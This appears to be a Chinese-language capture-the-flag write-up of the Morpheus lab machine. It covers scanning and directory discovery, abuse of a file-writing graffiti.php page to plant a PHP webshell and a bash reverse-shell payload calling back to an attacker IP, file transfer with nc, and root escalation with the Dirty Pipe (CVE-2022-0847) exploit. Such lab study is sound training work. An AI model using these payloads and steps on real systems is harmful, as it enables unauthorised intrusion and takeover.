Morpheus渗透实例

发布时间 2023-05-08 15:56:03作者: kalixcn

靶机下载地址

渗透流程

1. 主机发现

netdiscover -i eth0 -r 10.10.10.0/24

img

2. 对主机进行服务探测

nmap -sS -sV -p- 10.10.10.138

img
3. 进行目标系统简单的访问
img

img
浏览源代码,没有发现什么有用的信息。
4. 对目标系统进行目录扫描
注意点:使用不同的目录扫描器,扫出的信息更多更有用,收集目录文件,加强扫描的广泛性。
御剑扫描:
img
dirsearch扫描:

dirsearch.exe -u http://10.10.10.138

img

dirsearch.exe -u http://10.10.10.138/ -w directory-list-2.3-medium.txt

-w: 使用自定义的目录文件进行扫描

img
dirb扫描

dirb http://10.10.10.137 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -w

gobuster扫描

gobuster dir -u http://10.10.10.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

img

浏览扫描出来的graffiti.txt,graffiti.php目录文件:
img

img
输入信息抓包提交,发现在graffiti.php输入的内容会在本页面出现和出现在graffiti.txt中。
img

img
修改file的值再提交查看是否能成功:
img

img
成功,从此推断该功能可以是:输入数据,提交后,保存在file设置的文件名中,并且在graffiti.php上显示。如果文件名不存在则新建文件,并保存提交的数据。
渗透思路:

  1. 修改文件名为php,上传木马,并使用蚁剑连接。
  2. 修改文件名为php,上传反弹shell,使用kali监听连接。

方法1
img
使用蚁剑连接http://10.10.10.138/kks.php测试,连接密码为:kks。
img

img
进入虚拟终端查看用户权限
img
发现是低权限用户。上传漏洞检测脚本发现检测效果不是太好,所以没有进行。

方法2:反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/5555 0>&1'");?>

将信息改为上述代码,file改为why.php,上传后,在浏览器中输入http://10.10.10.138/why.php
在kali上执行:

nc -lvnp 5555

img
连接成功!

可以看到权限很低,所以要进行提权操作,下面开始上神器。
上传漏洞检测脚本
上传linoeas.sh漏洞检测脚本,
在反弹的shell中输入:

nc -l 6666 > linpeas.sh

在kali终端输入:

nc 10.10.10.138 6666 < /root/Desktop/linpeas.sh

img
授于脚本执行权限

或者上传linux-exploit-suggester.sh脚本来检测,与上面上传方法一样。
利用多个漏洞脚本检测可以全面的检测检系统中的漏洞。
下图是两种脚本的扫描结果图:
img
此处使用CVE-2022-0847进行提权,下载提权脚本:
img

使用方法:

gcc  dirtypipez.c -o dirtypipez

./dirtypipez /usr/bin/su

img
也可以在GitHub上面下载该漏洞对应的sh脚本来执行。

补充点:
CVE-2022-0847是自5.8以来内核中的一个漏洞,攻击者利用该漏洞可以覆盖任意只读文件中的数据。这些将普通权限提升至root权限,

SUID(Set UID)是Linux中的一种特殊权限,其功能为当具有SUID权限的文件被执行时,它会以该文件的所有者或其他指定用户的权限运行,而不是以执行该文件的用户的权限运行。SUID经常被用于给某些应用程序或程序赋予执行某些需要比执行程序的用户具有更高权限的任务的权限。例如,“passwd”命令需要以特殊权限运行才能更新系统密码文件,该文件只能被系统的root用户访问。因此,为了允许普通用户更改他们的密码,“passwd”命令已设置了SUID位,这赋予了它修改密码文件所需的权限。

搜索SUID权限:

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null